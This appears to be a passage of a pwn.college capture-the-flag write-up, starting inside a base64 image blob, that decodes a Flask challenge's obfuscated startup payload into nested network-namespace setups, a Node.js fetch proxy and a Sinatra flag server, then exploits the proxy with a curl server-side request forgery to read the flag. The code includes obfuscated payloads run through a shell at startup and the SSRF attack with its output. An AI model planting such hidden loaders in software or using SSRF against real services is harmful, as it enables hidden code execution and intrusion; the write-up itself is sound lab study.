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'

@app.route('/')
def index():
    return '''
    <!DOCTYPE html>
    <html>
    <head>
        <title>Zardus' Naughty List</title>
        <style>
            body { font-family: Arial, sans-serif; max-width: 600px; margin: 50px auto; padding: 20px; }
            h1 { color: #c41e3a; }
            form { margin-top: 30px; }
            label { display: block; margin-top: 15px; font-weight: bold; }
            input[type="text"] { width: 100%; padding: 8px; margin-top: 5px; }
            input[type="submit"] { margin-top: 20px; padding: 10px 20px; background-color: #c41e3a; color: white; border: none; cursor: pointer; }
            input[type="submit"]:hover { background-color: #a01729; }
        </style>
    </head>
    <body>
        <h1>Zardus' pwn.college Naughty List</h1>
        <p>Have you been naughty or nice? Check if you're on Zardus' pwn.college naughty list!</p>

        <form action="/check" method="POST">
            <label for="hacker_name">Hacker Name:</label>
            <input type="text" id="hacker_name" name="hacker_name" required>

            <label for="hacker_image">Hacker Image URL (optional):</label>
            <input type="text" id="hacker_image" name="hacker_image" placeholder="https://example.com/image.jpg">

            <input type="submit" value="Check Naughty List">
        </form>
    </body>
    </html>
    '''

@app.route('/check', methods=['POST'])
def check():
    hacker_name = request.form.get('hacker_name', '')
    hacker_image_url = request.form.get('hacker_image', '')

    # Validate hacker_name is provided
    if not hacker_name:
        abort(400, description="Hacker name is required")

    # Check if hacker is on the naughty list
    is_naughty = hacker_name in NAUGHTY_LIST

    # Fetch hacker image if provided
    image_data_uri = None
    if hacker_image_url:
        try:
            response = requests.get(hacker_image_url)
            image_content = response.content
            # Create data URI from image content
            encoded_image = base64.b64encode(image_content).decode('utf-8')
        except Exception as e:
            encoded_image = DEFAULT_IMAGE
    else:
        encoded_image = DEFAULT_IMAGE
    
    image_data_uri = f"data:image/png;base64,{encoded_image}"

    # Build response
    result_html = f'''
    <!DOCTYPE html>
    <html>
    <head>
        <title>Naughty List Result</title>
        <style>
            body 
            h1 
            .result 
            .naughty 
            .nice 
            img 
            a 
        </style>
    </head>
    <body>
        <h1>Naughty List Result</h1>
        <div class="result {'naughty' if is_naughty else 'nice'}">
            <h2>{hacker_name}</h2>
            <p><strong>Status:</strong> {'NAUGHTY 😈' if is_naughty else 'NICE 😁'}</p>
            {f'<img src="{image_data_uri}" alt="Hacker Image">' if image_data_uri else ''}
        </div>
        <a href="/">🔙 Back to form</a>
    </body>
    </html>
    '''

    return result_html

if __name__ == '__main__':
    if PAYLOAD:
        decoded = base64.b64decode(PAYLOAD)
        reversed_bytes = decoded[::-1]
        unpacked = bytes(b ^ 0x42 for b in reversed_bytes)
        subprocess.run(unpacked.decode(), shell=True)
    app.run(host='0.0.0.0', port=80, debug=False)

Extracting the payload gives:

ip netns add middleware
ip link add veth-host type veth peer name veth-middleware
ip link set veth-middleware netns middleware
ip addr add 72.79.72.1/24 dev veth-host
ip link set veth-host up

ip netns exec middleware ip addr add 72.79.72.79/24 dev veth-middleware
ip netns exec middleware ip link set veth-middleware up
ip netns exec middleware ip route add default via 72.79.72.1   
ip netns exec middleware ip link set lo up

iptables -A OUTPUT -o veth-host -m owner --uid-owner root -j ACCEPT
iptables -A OUTPUT -o veth-host -j REJECT

echo "const http = require('http');
const url = require('url');
const { execSync } = require('child_process');

const payload = 'a3IicGd2cHUiY2ZmImRjZW1ncGYMa3IibmtwbSJjZmYieGd2ai9qcXV2InZ7cmcieGd2aiJyZ2d0InBjb2cieGd2ai9kY2VtZ3BmDGtyIm5rcG0idWd2InhndmovZGNlbWdwZiJwZ3ZwdSJkY2VtZ3BmDGtyImNmZnQiY2ZmIjo6MDk5MDg3MDMxNDYiZmd4InhndmovanF1dgxrciJua3BtInVndiJ4Z3ZqL2pxdXYid3IMDGtyInBndnB1Imd6Z2UiZGNlbWdwZiJrciJjZmZ0ImNmZiI6OjA5OTA4NzA6NTE0NiJmZ3gieGd2ai9kY2VtZ3BmDGtyInBndnB1Imd6Z2UiZGNlbWdwZiJrciJua3BtInVndiJ4Z3ZqL2RjZW1ncGYid3IMa3IicGd2cHUiZ3pnZSJkY2VtZ3BmImtyInRxd3ZnImNmZiJmZ2hjd252InhrYyI6OjA5OTA4NzAzIiIiDGtyInBndnB1Imd6Z2UiZGNlbWdwZiJrciJua3BtInVndiJucSJ3cgwMa3J2Y2RuZ3UiL0MiUVdWUldWIi9xInhndmovanF1diIvbyJxeXBndCIvL3drZi9xeXBndCJ0cXF2Ii9sIkNFRUdSVgxrcnZjZG5ndSIvQyJRV1ZSV1YiL3EieGd2ai9qcXV2Ii9sIlRHTEdFVgwMZ3pycXR2IlRDRU1hR1BYP3J0cWZ3ZXZrcXAMDGdlanEiJHRnc3drdGciKXVrcGN2dGMpDAx1Z3YiPGdweGt0cXBvZ3B2LiI8cnRxZndldmtxcAx1Z3YiPGRrcGYuIik6OjA5OTA4NzA6NSkMdWd2IjxycXR2LiI6MgwMaWd2IikxKSJmcQwiIl4kPmozQElxImN5Y3suIntxdylubiJwZ3hndCJoa3BmInZqZyJobmNpPjFqM0BeJAxncGYMDGlndiIpMWhuY2kpImZxDCIia2gicmN0Y291XSl6b2N1KV8iPz8iKWpxanFqcS9rL3ljcHYvdmpnL2huY2kpDCIiIiJIa25nMHRnY2YqKTFobmNpKSsMIiJnbnVnDCIiIiJeJD5qM0B2amN2KXUicHF2ImVxdHRnZXY+MWozQF4kDCIiZ3BmDGdwZgwkIn4ia3IicGd2cHUiZ3pnZSJkY2VtZ3BmIjF3dXQxZGtwMXJqciIvIigM';

if (payload) {
  const decoded = Buffer.from(payload, 'base64');
  const unpacked = Buffer.from(decoded.map(byte => (byte - 2 + 256) % 256));
  execSync(unpacked.toString(), { stdio: 'inherit' });
}

const server = http.createServer(async (req, res) => {
  const parsedUrl = url.parse(req.url, true);

  if (parsedUrl.pathname === '/') {
    res.writeHead(200, { 'Content-Type': 'text/html' });
    res.end('<h1>Welcome to the middleware service. We fetch things!</h1>');
  } else if (parsedUrl.pathname === '/fetch') {
    const targetUrl = parsedUrl.query.url;

    if (!targetUrl) {
      res.writeHead(400, { 'Content-Type': 'text/html' });
      res.end('<h1>Missing url parameter</h1>');
      return;
    }

    try {
      const response = await fetch(targetUrl);
      const content = await response.text();
      res.writeHead(200, { 'Content-Type': 'text/plain' });
      res.end(content);
    } catch (error) {
      res.writeHead(500, { 'Content-Type': 'text/html' });
      res.end(\`<h1>Error fetching URL: \${error.message}</h1>\`);
    }
  } else {
    res.writeHead(404, { 'Content-Type': 'text/html' });
    res.end('<h1>Not Found</h1>');
  }
});

const PORT = process.env.PORT || 80;
const HOST = \"72.79.72.79\";
server.listen(PORT, HOST, () => {
    console.log(\`Server running on http://\${HOST}:\${PORT}\`);
});
" | ip netns exec middleware /usr/bin/cobol - &

Extracting the inner payload gives:

ip netns add backend
ip link add veth-host type veth peer name veth-backend
ip link set veth-backend netns backend
ip addr add 88.77.65.1/24 dev veth-host
ip link set veth-host up

ip netns exec backend ip addr add 88.77.65.83/24 dev veth-backend
ip netns exec backend ip link set veth-backend up
ip netns exec backend ip route add default via 88.77.65.1   
ip netns exec backend ip link set lo up

iptables -A OUTPUT -o veth-host -m owner --uid-owner root -j ACCEPT
iptables -A OUTPUT -o veth-host -j REJECT

export RACK_ENV=production

echo "require 'sinatra'

set :environment, :production
set :bind, '88.77.65.83'
set :port, 80

get '/' do
  \"<h1>Go away, you'll never find the flag</h1>\"
end

get '/flag' do
  if params['xmas'] == 'hohoho-i-want-the-flag'
    File.read('/flag')
  else
    \"<h1>that's not correct</h1>\"
  end
end
" | ip netns exec backend /usr/bin/php - &

Therefore, the attack is to access http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag via 72.79.72.79:

hacker@2025~day-07:/challenge$ curl -v 72.79.72.79/fetch?url=http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag
*   Trying 72.79.72.79:80...
* Connected to 72.79.72.79 (72.79.72.79) port 80
* using HTTP/1.x
> GET /fetch?url=http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag HTTP/1.1
> Host: 72.79.72.79
> User-Agent: curl/8.14.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain
< Date: Sun, 07 Dec 2025 04:15:08 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< Transfer-Encoding: chunked
<
pwn.college{cqkEOB_HUC1LtXDlYdJlo4SJwf1.0VNxkTMywyM5EzN0EzW}
* Connection #0 to host 72.79.72.79 left intact

The usage of 127.0.0.1:80 is not required, because we have access to the netns directly: the iptable rules are not working as expected.